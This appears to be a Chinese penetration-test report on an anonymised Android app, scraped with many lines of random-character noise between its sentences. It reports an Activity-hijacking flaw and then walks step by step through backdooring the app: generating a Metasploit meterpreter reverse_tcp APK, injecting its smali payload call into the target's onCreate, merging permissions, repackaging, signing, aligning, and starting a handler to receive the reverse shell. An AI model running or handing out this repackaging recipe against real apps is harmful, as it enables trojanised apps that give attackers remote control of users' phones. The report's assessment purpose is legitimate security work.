+ C& ], J/ W. D1 N0 Q( R5 I
4 p0 T4 N+ K, I) T9 C0 v% U9 D( i& K: n4 M4 S7 d+ s
9 S2 @, O4 ^9 s& F; z4 P1 Q; Q+ Z, G0 k* A6 z H$ {0 x
! P. z. X/ x7 i3 ]2 m
9 O L4 O8 S1 p& I4 {) y0 i 表1-2 测试结果 5 K1 V+ o- d ~' e: L. U
H$ o- J- x( j- ~: J& c
3 g: R9 ~7 B2 @/ m
0 Q1 Z/ ]5 F d% I+ ~ |
) o# O+ i5 e9 a$ I' S" D. `6 x
1 w# H7 k' G( J 7 R1 f. Y( J7 t q3 j* L' J [# u2 o
' q# T* J& L6 G& Q4 t
2 S3 i4 k h6 B7 M' ]! Y8 n/ I0 ~
& @: X) _" ~4 [6 @! i
7 }2 ^# i6 B, h, U! z) j0 A( y8 j8 w- P% L1 v+ z( C; k( Q
2 检测结果
7 o! Y% M& b+ Y0 n5 T; n# x7 u3 B) Q
) P3 P& {- H: {+ ?2 [: }: ?2 j# ]
3 j- p0 C9 w2 k: w( u
" |+ g' I) m1 _6 V1 j4 `) p/ e
9 u, i/ l% I" `# _, O; a9 L' ^
2.1 某某某
* w6 A! \8 q8 }9 H# P0 ^; @4 {1 q1 `0 H/ K8 h& N
9 C2 \2 v1 u; M! r$ B4 r- b H6 [1 Z9 A! H3 @+ s6 Y
' _: X" [( x4 W+ z3 o
5 _! @+ ~ G& T# | ^7 {0 n 2.1.1检测目标 0 r u5 _' k, R# `
7 Z6 J# G. a/ p3 Z! T 5 Y3 z3 L5 r1 }$ ~+ b+ ~
9 d# g+ a8 U: I( F: x
2 a3 B' a0 V/ i0 T) w# j3 z; R6 p( c- ~$ F
# P, M- a5 ^( u) O 目标地址: 某某某某某某APP {: l1 O* R2 Q/ t: \1 U
, O0 l. S+ B; E5 Y
( r5 g2 Y+ u F
D: w* U9 U" q. {# l 0 r% Y: |$ n. _# M2 A9 F- P
. {: t" K9 S4 {/ p. L, f; X 2.1.2检测结果 2 f' p4 Z! u6 x! x8 ^ ]6 @
5 t4 i& c7 {$ e
$ z. W! h: K. n) }- y! |9 S
. U- P) E; T8 \. ~ R. V
4 D" x B& Z; m! f. E( K
' P/ I6 V9 O k 2.1.2.1 # u& G% d+ n0 _: \
3 f% b9 y, ^ o0 ^+ ^ * d" P; ]4 M4 e+ c: R
( @* c* d5 d4 ]. _
0 i5 {7 F+ a1 _; `) v7 r6 E+ A3 ~5 k' E3 T5 \
漏洞链接地址:某某某某某某APP
: p- O" U& c# N1 U g' p9 P
$ j' {- M, e6 c8 s7 s: c % i/ ?, O0 I7 H: f9 i g
) W+ S! `% n4 Q" X4 c4 E* ?3 x- ]8 {
/ i4 H4 R( j. p+ e# r. \( O8 @/ c' i, g% m/ N* N8 ^( w5 ]2 \. a
4 m" ?& G- p5 a1 i3 A3 w- h7 `3 q
. j" x# @& t0 z6 G6 C
2 `( ^% v0 u7 {3 R8 r, O0 Q
1 k& l- m1 n, B* E- S + [6 G; [/ i$ g8 N
: p3 a: B$ x( G8 v 漏洞分析及取证: ' r2 ]# m% c' K9 H
5 Y6 N- Y @" ~6 b" T3 R$ ]! H& ^6 t
% W1 A) X4 N* O& Y4 q( m
) M1 z) r, u' i: g: x2 x! c0 X7 f
( [0 `( e, P9 d% X0 X* N% m/ E. E
通过androidkiiler反编译,发现app未进行安全加固, Activity 为com.minivision.cmcc.activity.SubActivity可被劫持,复现漏洞如图:
- L8 x+ v9 W, ~% h. J7 w& T: _
0 r) X1 I/ W2 i+ R5 q+ R1 @
: k4 Y3 Y! O4 A# B$ q, _- D2 q
: V. G; C' ^) d % G2 a) p k3 L6 M1 A: i, R
. ^9 ]3 H6 e. Y4 b) h
5 L' e0 r$ g1 Q" ]# b. I
0 A' V/ c% ]8 [/ N: H( q9 `- V1 ~
3 v# U$ ^/ {( r. E/ I' r+ t4 A: N+ L7 ^4 y0 E H
- v6 c; z9 i! ~7 f) o
6 y) |4 S( }; N; g* P4 m+ H5 I
) a* p# v% p5 h- R; n8 g* o$ j8 w3 x) Y3 [+ l
) q$ A# K% R) d$ X4 x0 T! [
- w+ `& V7 u2 T; @
$ U, s" V! P3 B' h
) i' V0 {" \, {! s3 Y1 Z Z
- l% E: h! m7 z1 h% L; u' A1 R" C' u$ o4 I" s
' y% O- V: f! o* r+ z9 z
0 D) e# Z N8 ^3 q+ V/ u 3 e- W$ Q0 `/ a5 }+ ^
* @/ Y4 L3 n0 J( F5 ~9 n/ N
& ]5 U: Q( ^$ K3 W2 B
) j) U' u* a9 I* K- \ + Y# @$ N+ p: h. C4 R
0 m$ A( p3 S$ Y: [5 l8 U8 O; x; B" P6 |
; c3 L- s! z" r7 B. n+ U- H0 @5 c! q( I0 O. j
6 I: q0 r1 q* B2 _3 r; O: _$ A. e
. o3 ?9 G l) G- n2 w" @) W
! f* g# V. F& [5 }
! D9 n/ W" z2 G9 o& o: V 9 T# D3 `2 I! L2 C9 N3 N0 N( Q3 g* C
' t- B7 U. Y @ 漏洞危害:高
/ i. }8 `% C4 o S' r3 u7 [/ @+ Z# y* [, j. p: x
7 U+ B2 |: a8 \" ]' k s% r* q; \: c* ?
8 Z P" K1 z1 _6 c, Q
- \4 J* j9 e1 g7 m
* P0 ?" _7 J1 t0 {" X2 E9 n2 Q
( J! t; C1 a6 C; @
3 {2 A5 n9 L: H% P" L/ K) a
9 R% i/ A2 [. F5 m3 L2 Z
; {1 J" ^' X! ?. d
) d# ]- ?$ o, D" D& @' G3 ?! Y 5 ^# x, M7 E# o' a2 f$ Y7 I# |
5 Z% \" ?( n, j( B. p
4 r0 X0 d1 y0 U6 O D
; h7 P! f7 o, }# A, r q: s
严重程度
4 F" [8 \, |* Q
2 B" l7 ~9 m% D8 C5 i 2 X/ `. s7 P1 j7 ]1 O
( D, S6 H, ^% X% Q) S
| 3 O/ L/ a' E6 f; @; u6 c
9 |8 O3 n7 p. m& z& q
; k2 Z& m% ]2 n& C, u4 N/ ~6 o
/ C; N. F( t1 d6 [/ `) A" A
6 G" r7 q- T! K3 E& \& K
7 w7 O1 N6 u1 K3 C P3 H 高 4 g+ _- k8 p; Q3 r z! y
/ H) r+ s7 p6 x0 z3 B" S8 y
) h; A O) k% I8 x* A
4 b7 M" d) d9 f& ` ?! s$ Q | 9 g/ s4 X5 B8 I* `7 P9 n) i
4 } B0 ]- [# C3 @ ( R% \0 Q0 B9 d4 M3 c
7 L% K8 ]: D& A! e% Q ; K6 ]+ ~6 e2 ?
6 p# b- ~& N+ r- `+ C
■
- M( S A6 C% g1 C3 k: G& D: `- F: Q; q" R9 U- |
5 z# E7 \. y8 ~2 u: Y/ Z
7 C- t3 i3 b& r | : @! b# ^/ U( o7 O# P
. y7 R$ l) y# j. J' j
7 u. n& L1 F1 d, N/ w$ J* u6 G4 S
+ a3 _. V" N5 z7 t. L4 G
& e% O. A& T" n N 中
! e! H) [5 a `
0 h6 x7 F5 F6 f- {
, ^: w6 S/ f5 a- q) ]' d
$ G/ X5 o$ A( t( x6 P. y e+ W |
0 W7 f& F; k, d, Q( |8 T3 x/ v. i) q5 G) F
& B* u5 n- \& d
1 l; k; j9 ~. M/ U / m& _0 T9 N; M+ k
5 t' R) |5 d+ a7 B5 J) g8 j
/ ~* A; m3 b% T* P( `3 m6 t: X, Q* l# e( s2 a% `2 N+ d
2 |. G& v0 x$ r U4 Y) A
3 I$ s. W; r* u |
, f8 v- S2 M2 s; |7 N- u" ^
% u. T: P* u* p# W f " L6 \: Y% V+ d1 j& }% k/ ^
0 y. Z+ y2 t9 P3 N1 c' ~
Z7 A; t# m$ ?* ]* c* k2 w- m7 A" n. \* X6 t/ j7 f' n
低 ; E7 k" M& |$ k/ a" U0 a" j
6 r/ ?, V9 [- E
4 }- m3 K0 j. T6 }5 i) V; u1 T' W; o9 P5 b
|
% E" z5 o$ d$ e4 i
5 c0 ?' ~6 z g1 k
6 ~5 d8 H! V6 _- ]- ]4 T
* Z/ R2 \) D: U' u h2 s0 S. s 7 F4 x2 Q) H# c6 w# h% q0 R
7 q& ^9 V/ r2 i! e" d* N6 ]! e
: X. p' g8 U7 v1 a, K1 L
( w. Z, } V7 N& |. X& j x1 h
, x: c) F. |( ?' m( C! [9 R
" i9 R# H2 l5 Z3 U* o( _, z6 u | - ^4 c: p, ]# S2 u6 u, I0 E
" V$ g5 i! ~4 g; i- ^+ j7 P: X \$ R2 p% D! o/ I: c8 I
L* E" M0 N, E. r" T : ]$ e' E0 I3 ?7 A" k; l
( R5 N4 X1 V/ s$ ? 8 O. {- ^2 u; `. f
& T3 r! N6 l7 N0 `+ A2 \* o" k
2 o' }7 M C5 T8 R4 e
2 @9 L" m: C( ? 0 J7 N9 p% R" d
) }4 x! S6 m' ], J+ O
* V9 {% P; s% T3 \3 A r; C) r+ c5 K9 ]. p# J' Z2 `5 J
9 P: V$ h% e0 f3 h3 m: `# o) v
6 E; t* C" Y' a8 @# Z# j; P
5 o f( h; E3 s3 C f, @8 J3 A. Q- t1 w5 O
修复方法:在 APP 的 Activity 界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,当其被覆盖时,就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的(触摸返回键或 HOME 键),如果是用户自己触发的则无需弹出警示,否则弹出警示信息。
+ c( s$ S9 r, u* [2 E A, z) [5 I( l, E# y: A7 O) f# N$ C
1 k' h8 K$ c, Z% P
3 m% V& L. Y, m: R `7 L9 X a7 W - v) [# |, h' e/ h
# T& E* M5 b6 _2 f) D8 N( }, C
" x6 N/ y1 u# A7 k
1 Q0 v! o9 } }1 a : G' J5 w$ W9 |! ~
/ m4 [) l/ H2 W- N
. P7 y9 s# _' E1 m! H% M! ?
( @& {& \4 C9 A p! x( X ; o; o% P" l) f% Q
4 Y+ t5 I0 P0 J3 _( a
2 v+ t8 |4 i7 o
# M# J/ ~2 |' \2 ]7 f& D 0 G+ T; x. f% q
' S5 q/ x4 g( [* A6 @: g+ U3 C M( ]
2.1.2.2 4 r9 e7 v; k* q+ g. E
( p" D4 S7 m, ?, P* ^7 C8 K. c
2 D; A) D8 y/ g2 g5 G$ u2 |, Z1 ~
, k0 Z; H$ m O. S; u+ Y
8 A" Z. B2 H/ C) I& |( Z, ^; i9 Z+ O( O2 m6 J" D' Y( d
漏洞链接地址:某某某某某某APP
8 L. @+ X$ K" p) V0 z; v3 A* u$ g/ d. d# Z
3 S( S8 |$ p/ F5 Y: Z# `8 A$ v% m
( z$ l! |. J2 i
6 u2 r8 O' A; L0 O! `+ w7 a
( R. Y' {- z& s 漏洞分析及取证:
' H: \3 }0 E2 w; Y4 y
7 e& m9 o5 g% D1 h1 X1 Z" C0 g5 [
1 d" Z$ q( [& x6 x+ I- \1 P9 w( [$ M! X$ q4 `6 N$ K j1 i; D
6 Q/ S6 u8 G% s/ y: ?% `
, B( X6 C" Y: N* V 通过反编译,发现程序未加壳加密,可直接反编译获取源码,经过测试可修改app代码捆绑木马或者植入广告等操作,复现详细方法如下: . y; \. `! J* l+ g) C
# _, s+ h. |+ _0 W
& G" H9 ^7 E: K5 b$ l H3 E8 D+ S/ w. m
, K$ O; q; j; J# i; q" T4 b/ L% }+ b
, _" W. ~( y4 @; O4 f- r# Z 用Metasploit 生成木马 apk / k) c) X& p% `# v* T
3 t: h, O% ] G& g
" S' A+ @: r" U, |0 o( P7 l2 p0 v* j. ]3 A
/ x" ~* q! _ j, _
! N9 @/ K' b/ d0 d$ G msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk 2 R# B- _/ R9 P; }( `+ ^( @1 Q
4 b2 l4 v, v5 b4 D
# X I: L3 B; i; d$ O+ X5 H: W- _0 R
0 R# r: T* }) k) ?% |' W
* `' D6 S1 \6 |1 Q; q 反编译目标apk和木马apk i H4 B2 Z; k. h0 R, g8 E2 b- ^
7 E0 W5 }# S- [% g- k' G
" O8 w0 o8 G D! A b8 k( @: q, U
& T, y& O% u3 o- q
( G4 a! v' Q# i$ W$ J. y" o# n6 L2 ?) n; L4 W0 T' ?* R( x
apktool d target.apk
* m- z) {" B, o, Q' F4 L" [$ r
# a" n7 i7 I. {4 J! n4 P; }0 C apktool d cockhorse.apk
1 f* {( R1 ]$ }0 x
% P: X( n$ p: f z
8 g) Q% S' `9 o( K; C: D- s
& Y( S/ C8 L0 N7 A, [# A, G / [. K( S V7 U- ~( s9 G) W
9 u+ v; n5 z9 _" J9 k f+ p
木马 apk 注入目标 apk
2 t8 b( j+ y4 v8 V1 [" M5 M( H" _+ X" Y# l4 ~6 ?* L8 M( R# T
* r* l' ?1 x- q& X- {7 ]% _
& ?9 n& i; C& I c
- F; A' ?0 K0 M* W0 m& |
. }& d4 F' ~+ J7 D 在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件,并在 onCreate()方法中添加如下代码:
?9 o, U( _8 T8 S# F) c; n* F( b h- e# C
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V 4 p, l5 j. n8 r8 ]/ W! @$ L
4 o+ F) G6 |# D' O
) G1 M0 Z" ]; x& y' T9 G0 j1 m% k
' J/ M9 L \9 E: y
3 \! k' J9 i2 K8 R
1 m+ i( q* n( ] 将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复 # n0 R. Z/ E, d4 M% G
5 A9 y: e; { @: x& z" _
6 W0 _% u% p- }. y" E$ f" F
- z8 g3 T2 m5 g: P
}' J0 {! ] n) O' _1 m- X0 L! o& z$ v% M9 m1 Y
将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/ 下 + f) y% ~* h$ D
2 t q$ X& Z- ?$ k# z
5 `1 I9 n- o! N, B. Q1 T t2 @- H6 \7 V2 d1 G* _/ O5 L1 N
% w7 C: b, z7 ~: v+ y% w b3 r8 w" |" D" T: G
回编译生成最终 apk
7 |* o; Q y' `/ R1 [
1 \9 E+ `" ~+ O4 F8 o- l/ A- w
5 G* n7 O6 h8 X" l% B. l: t" D, A8 M5 `. R5 c. S9 f
$ I/ q0 h) W- {8 w5 n
( D5 I6 p* }3 F! {9 D3 k. x 重新打包 G ?* l. m6 y9 v0 J( ~" o5 Y
G8 w% F9 n1 C7 {
: |1 v _, t% d6 M% u; u# a" d! p% K" y3 z
" c. d b; s3 Z' K5 w# H0 @/ {
+ S. b" s. a/ ^! a7 [; p4 i apktool b -o repackage.apk target_app_floder
0 m$ |" I8 v$ Z t2 \! U
& w- @7 x8 f$ u' \ , i7 A3 ], l2 u# v- g8 R5 ?: T7 R
2 k9 p' l5 U1 U* x" @5 N2 r
% Q# M* I- X. W$ T A1 a" n1 x
( ~5 J. V; Z* T* M 创建签名文件,有的话可忽略此步骤
5 c9 p: G, l2 T$ Z- q: V
7 H* S7 n/ V; Y 9 j# u$ e( z* D( {7 g' U$ T
. F) ?+ i% h1 q
7 g. ^$ y# S' ?7 s; m1 q1 s% a5 v- g9 W* z
keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000 ; g7 C ]) i8 T: t/ O
o6 A# R3 t/ X) x3 Z1 }+ l8 z( ~
- q9 u4 q) {: f# f0 K
7 F4 v/ V N7 S3 b/ Y" V + W+ l- k! \( @6 l, ^. a
) c+ S8 ~5 f" \$ X( s% P
签名,以下任选其一 . t8 O8 k& ~8 C
4 V7 M* Q* s, J0 ?- t5 F
0 v7 ^/ b( D( S* a+ Q: z! g
" I2 i; q2 }0 Q- o) H9 M& W 6 @! N3 _: P y* L: x. _
% Y4 o* a0 g7 A; [, X& S
jarsigner 方式
) X$ y) c2 R; e0 I% [7 t- r$ q( d& }4 k& I
! L: H5 u! _) j
# t5 O4 @9 w8 n6 v* w9 k& n: J 2 E ^$ y& Q! A
' i; Z' C) W% ?
jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname * [& _; R. g1 O/ O
: W, V# g' \( Y# e' ?6 I* G3 k9 x
6 @3 a. Z$ B. `: X
/ f3 P+ C# f0 a) |! S
6 ]0 I5 N0 B" Q0 C% H& p) p* s# v- T2 j7 T
apksigner 方式 8 N$ l, U+ ?1 I9 ]. M
& c4 v( L) W/ d1 R" F! ^/ g% g
& i; V; B( A v- n+ m1 s
6 o" \0 X* N; g: A4 P- x) C% X
3 ^3 d& {5 b" ^, R, W
3 p6 L: U8 D, {8 f. k apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk
2 b( v& c. Y2 E. F; Z9 v& D
7 _$ @- e& v! O4 R
a: W1 s# X. G( k/ x' s& _! q8 \ d+ d5 M X9 ^
" {: G7 h/ b8 q" ~2 M2 L
. k- m4 T! H1 t; F0 l+ y2 P* Q
如需要禁用 v2签名 添加选项--v2-signing-enabled false , F- ^; O: u2 E0 u
$ f: M% ?/ c6 q - \( ^3 g2 ]8 j
# f' j5 w: U! Y6 ]) P + o6 n$ a3 E! p# a/ R c
5 b3 o& R q E \. @1 W- ?8 ~9 f
验证,以下任选其一
+ R% h9 V4 k, u" K9 ^. m8 p0 E9 S6 `1 k) ?' r5 s5 m3 Y
8 {7 C2 _$ i- ?- ]- w; ^6 A, w$ a# i3 a
8 t/ D$ `; E$ L
/ x: m4 l- D; j% a
jarsigner方式
$ c% Z; `4 [: k7 |1 y t
K- U4 W$ H* b( t& E N+ u9 X
4 A, g0 B: H7 p* o* _% c
1 U1 j- G& }3 ~$ {5 B: d( l 1 ^( ?1 U! V. r1 H& r( O& }
2 _6 s4 E9 @: t F( X
jarsigner -verify repackaged.apk $ A, K5 b: m: Q; ]7 H8 N; W2 x& A
6 W. c7 E" K8 I, ]7 G2 a2 J
4 H* v5 B+ d! ^3 `/ m* D( d- ^
_% v6 n9 [0 _3 k* g+ @
- B' J% T% E* H' x: \* l1 }& s0 V( E1 n6 u5 t8 d- ^. I# } @, w
apksigner 方式
. a. _5 s$ a2 F$ Q! K' }, X* L r( X4 v: Z4 c5 r
! w' Y4 l3 i/ W& i: A) k
" g. t! A( o+ R; [+ @; o* E
2 a9 _/ `2 U" O* j) W# t9 m
6 b; r, j- `+ x# ]- J7 t apksigner verify -v --print-certs repackaged.apk
" W# E( x4 |& K- U4 c. c5 y8 r1 D/ y2 f/ V( ?- b) A. l
1 a" G9 o! a$ ^" p+ O/ U. n* _& @) L+ V/ C! w
' c$ R/ P- u" @: S( N# q3 k, @2 ~! t" ~
keytool方式 4 b0 \9 u; [8 V+ P
, a1 ?' n- Z! g, T% Z/ M1 `: M
, ^1 W9 o9 E" @+ E* H9 { U
3 o8 L+ I7 \ G
! w3 e8 E, K& l+ r- Y4 L0 G
9 a8 p+ [6 @; }% A7 M keytool -printcert -jarfile repackaged.apk 5 s( m6 m9 c7 c6 X
$ c. ?$ K/ @! z
, t: f0 R% |5 z2 e1 s7 V7 d3 \, R% B* Q) x$ w2 y
2 U" x: U; O, e% w
! ^8 h1 y1 P+ o" _ 对齐 ) Y& [3 [4 r1 c3 W) S/ x7 ^
3 d( @3 J# Q1 ?
. P9 y0 r8 u1 r4 j5 t2 D6 ^4 |3 X# f, A
5 D* t U& c$ F" X' R* K8 Z
9 D8 m( N' ~9 N! @; r* w 字节对齐优化 ' F% j+ c- k7 D: e( C: k* ?) U) M
2 f( S s9 m, P J+ s1 t 2 I/ u' L5 g# h5 |$ O! C+ f" m9 |
" K- H* f9 v; n3 ?* f& X1 w
- A+ v; F: H& ]8 P6 p# A+ J% F7 G( A/ C9 l' J
zipalign -v 4 repackaged.apk final.apk
8 A" u+ Y Y8 E7 H
! Q/ H2 u+ a: u9 @
" W; r) s5 b1 ?4 X( R) G: c# N' ^( ]+ z U7 Z& o9 a, I) _. f* H
1 S: e1 e- k# Q$ a
$ i @& K" o" Z0 \, t. c 检查是否对齐 . ^( q1 |5 S) Y7 Y6 P9 W& |& l
& b5 A% F0 T5 f( `
8 E5 x7 i( P- |" V4 l
$ P+ k3 J) K* P6 t# g6 `
7 W7 Y3 }7 S% Z
' R( `* `) q3 A* | zipalign -c -v 4 final.apk 2 i8 S4 [4 g2 P6 P; y* }: U
, a( `- h9 H- G a {& h
( o; n+ D' O( p! b, e1 q5 x% m0 e& U% ^9 y' P
( R- B$ I5 E2 H+ z; ~( u9 F- u+ \# ^
注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行
& T z( ^; E" s- W1 I9 Z5 ~3 ^/ i- S$ r; _0 o5 @
* u! E( K- K- [ o& C; i, c& c+ S
! ~' I$ [# y6 ?7 M$ a0 {) L c1 Q
1 J: c& C1 o$ i. i4 a
0 Q. i% e# }$ Y9 U% J 启动Metasploit控制台,配置参数等待上线 ; X" j! Y9 U! \
3 o) K& Z5 }. y: t6 E5 D1 G ! c7 H, U( M2 Q+ s6 n. E# c0 j7 `
, |/ T' ~, v- E5 Z% d7 F/ j
* i0 V! V# S; ~' P
# a' u S' ?3 Y3 k1 U L 在终端依次输入如下命令
& T; G3 i3 S! C4 A/ M2 O: B2 U4 V3 g+ A( K+ H( e5 Z
2 o& U4 `9 d' S0 v
, x4 k5 J8 w* ^( D) E/ ] . i( V) \: R3 T" n- b
z7 s) H/ h0 ]2 A6 @2 i
msfconsole
4 B1 r- P) j6 A! ?# y/ ?, A8 B) ]" G$ m9 d8 j. `1 n. c* J
1 m3 r3 t7 ]: Q* Y0 W. C
1 c* w2 L3 Q i% ]4 T& g/ o( d
1 L# D" n G4 S' {$ r+ ?! ~: c
* Z6 g- m4 T4 P# T) O! L& ^
use exploit/multi/handler 7 \/ \$ y2 U: H+ A) S7 b3 w
; l0 ?# N/ t$ p" {
1 n5 P5 K' v# g; P
9 n/ m1 b. }$ L7 b8 K( K
4 N; z; h) v: \ y% h: ]+ u) X0 \% f
0 J% j: q" e6 e A3 V0 O+ N set PAYLOAD android/meterpreter/reverse_tcp 2 P; T: [* k; R4 R& b% U1 K I
5 _* N% {& l4 F( M. N6 p) t2 j5 A6 g
" p) B) o3 W2 [0 F! \' S. s9 g. g/ T9 q
% n; @) `. x0 O% a
7 ^4 ]9 W' V* d# W
set LHOST 192.xxx.xx.xx ^' }9 V5 K+ k
8 e- s w, `% d7 \0 t7 {- f
$ H9 l. e M$ p3 ~3 L( V
" s6 X3 j$ w1 A4 N8 f4 p5 J. Y
; h7 D5 a/ `# W) H) S0 M+ I
6 W- W# X8 z1 ]9 U( B- k% Q: o3 j. ~
set LPORT 4444 5 L; V @! U1 j; W: e6 ^
4 u) L* U5 s6 q; S7 C2 o0 V8 w0 F
) {1 A A+ p. {9 q7 W: p& M
/ q/ W* _) p7 x4 |
1 C" |& L2 t+ x6 O
+ m. a. x: \0 C$ R7 ] exploit
+ J& k I E$ B1 T- Z. i2 `. S3 K# ?1 `1 |; S
+ \& _; T* M) Q: P
T" M! D4 r- k/ |( s9 p % m) d, y& c+ Z1 ~7 G& O3 Z/ f
; y, r8 n' ~( R# w; U9 u5 u) c 之前我们把入口放在 MainActivity 的 onCreate 方法中,当启动目标应用进入该界面,就会连接成功,如下图: 0 {$ o1 w( i% |
( D* _9 Y& \; C7 r' q8 u7 _# j , V9 Z5 o) r* V2 q2 \- B/ b
1 t2 M7 e" O' E9 T4 ?, j) {
& x; y& G4 a7 F9 E7 R
8 m" i \5 s6 d2 E
漏洞危害:中
! ~& |1 @$ E( f$ [9 ?0 [& S4 @ K2 e: R) j
9 W- X; L0 T9 c: @
7 c" i3 C% Z% p" E, `% b ! S( Z4 r$ M6 K1 m" b k
# f0 p& s0 G! Y9 @% Q
, W+ O; C$ ]( ?, X+ |2 `" f D' g: m( j2 d6 O6 W% k( N
4 h4 w8 W8 V' n, l! O4 ]$ I
! k& ~7 F/ A, a
. b! J- b1 e w! p0 j1 c
1 A @; j% k x
: G/ N1 k% }! R! Y0 l
9 R% Y) N8 _# X E4 g 1 P9 N3 d- p( m2 u N1 s
+ z1 L# @1 c& \9 m; @ " T& j. ]: k- O. J8 P- k$ u
6 P, e( g9 T1 @$ |1 O5 e
严重程度 5 f4 s) c% a4 s+ ?- F
0 T5 u" x" @- ~ ]* o
3 p, g3 {* \* P* ] t5 F
5 t6 H+ q; @' }; `1 E | + x1 M. a+ D- r
7 B) u8 b1 { T: h( i0 u9 D
( ~- _* G' X3 T; N# I
$ |5 v6 ~+ q- K0 s$ ~* C7 W 7 ?/ D. i' z5 z' G9 V) f
5 O* e$ T7 @' u+ y- F1 S- V 高
: K# ^1 y( W+ E: Z: Q, ?* k. }' N4 w7 i. I( s! v9 e
4 P5 P7 t% l. m( K
+ y; K0 S. B) k1 H
|
" c! _' A8 e, I
( y$ x+ @+ B1 M- q8 O
/ z. k/ Y4 R" C! _/ k
) A. T; i- m X9 Q, ~
5 g8 j! H) X+ \* a
" k9 u' A& s$ V! N- c ■
$ K& z4 M0 n. t3 j$ \3 f
* K" m1 O3 _% |/ B1 X9 v. {" S
2 t6 q6 O3 w( t
: s0 r9 Z1 H, A | * a1 ~, J6 ^0 T- o
. n1 s4 _2 e8 X1 J
; l. [! R. G6 x' ]6 `" I; x& x R/ P }, ]6 ^- [
. s! ]# _' \, g6 z/ S1 e! P: y C! g' E" T) A
中
1 C- z" f$ f% D
) X8 {0 z( a' m9 \ 0 [6 j0 ^: e! Y' v
X; F" v7 f# o2 ]6 h) { | ( T. ]6 G8 B ]+ A/ d
) K0 u2 K& X* M6 I6 \" |0 y }# d
# b9 h( h! ^# B' r! v. A; w* j' E6 O5 O) p
5 s$ e$ Q4 Z* ^8 H& h1 i! r
; m& w, a% Q8 g * g% R1 j. U. ^- U
8 n$ ]9 b! j0 S' a! x
+ j- `/ B* u3 V4 ~, p- z6 w u
+ B* ~4 M. K3 W3 w4 O9 P7 f+ R* Y
: S) C5 \( ?' J' K1 F e" ~' x8 B; V1 A! a
| 8 O' M& P P& A+ H: ^
: h3 }" K6 v: l/ b- q$ G- |
4 i. e4 d) D' x9 A! }! m6 S: ~" Y n) p* x+ m
. L: C) U! `$ o( M0 c
* ~) Y( i0 N6 B2 d! l! C8 b+ i 低
2 t5 s, o) M9 m# G, A1 y5 k6 S R/ j, B2 S1 y. ]/ \7 H9 m$ d
0 h* \, W$ }3 ^) m2 M
" N0 |5 H" F6 J! Q# J+ _' K |
. j# Y j1 A' r H
% E/ ?' U! w3 ~! {1 ?4 }* l3 h , F1 L. ?' G$ q$ L* ~7 z& ~
, F, t( c; J7 x7 M+ @0 U5 Z4 g+ ^) _ + t. q0 z, I. ]; m+ v: D
/ E% ~! x8 @4 d: t1 e! @
0 s3 t! ^4 m3 j; S7 Z5 L- {
, O) z0 a% B+ h( C9 l% j! v % C* k1 ]; K" ^$ m8 W# z" w: \5 x
" F+ g4 c1 ?/ p3 Z# n0 F# S : T; k* `" [6 o5 [% l8 z2 N
) @- N5 Z2 u# [* k
| 2 r: w1 Q) Q p/ _
4 H1 [4 z' r! \
3 N+ s, U: y) N5 p/ C
8 C3 a# U8 W& _2 | , m- `) a* Y `- E/ _
8 ? {# v: k" q# b3 w2 c
; @$ u; Z: o0 z" G5 @* w0 U; K
9 C) s" e+ z& `% @: |. v
* d3 [" R9 t2 c1 u9 A) R+ q9 t' |
& \2 E( y6 ?. U; A q8 h+ j. e9 A i
/ ^7 l7 ?( j6 u
# t6 T9 C" L _
/ R( H6 H( D( p. Y" J# g2 c
5 m/ ?! K9 a" b+ R) Q
/ `7 m* r3 w, R2 {! r+ C" s/ B9 Q 2 l8 h6 A" e) J- ]
' N% `- S" J3 {- G, t; a 修复方法:
p. F! l/ J4 _* t
+ T ~3 u+ j4 J7 i! a+ }
3 w' c+ D9 U9 Y8 ?4 z. W! d0 B7 m: W7 k! W' x* l
- _- M' H4 v' [9 ` D( {* L- w, E* q+ G+ ~9 B$ r F! s4 I
1.在 APP 启动时应做签名校验防止二次打包。
, m0 j2 F3 b! g8 o# I. G m+ e/ X$ V+ g! `# \& E
2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。 * }: q* N5 |* y; k' c4 R$ C
0 p) X: q+ y) I$ c+ w' i
4 B# q7 X5 X- m8 k) o
1 S) O- ~, u' a; X 8 P2 n4 i6 \4 F* {6 q; u
) U" x6 z7 x O* K4 S" l s7 t5 j 4 @. ?; {+ ?0 p6 Y& `
) _6 r5 w- S& c, s/ | # G% M! j, C# ~" L
. o2 H) x8 B1 ~
: d/ k/ v" S8 T5 ~& l
. a3 c4 X Z1 d4 o7 J
; w5 [% S" p, `( W' O# f. x# Y9 G; I* M# x2 y+ i# ~% [1 {" n
) F- u8 v4 b" t/ O8 F2 d& L) ]% \" f% Q
6 \; N8 i3 t0 f& u/ O
& ?! @4 A8 p/ l+ l) r
& V& v* l$ y0 X W U4 p( ?( O
9 s- C0 r+ m0 N* {1 c |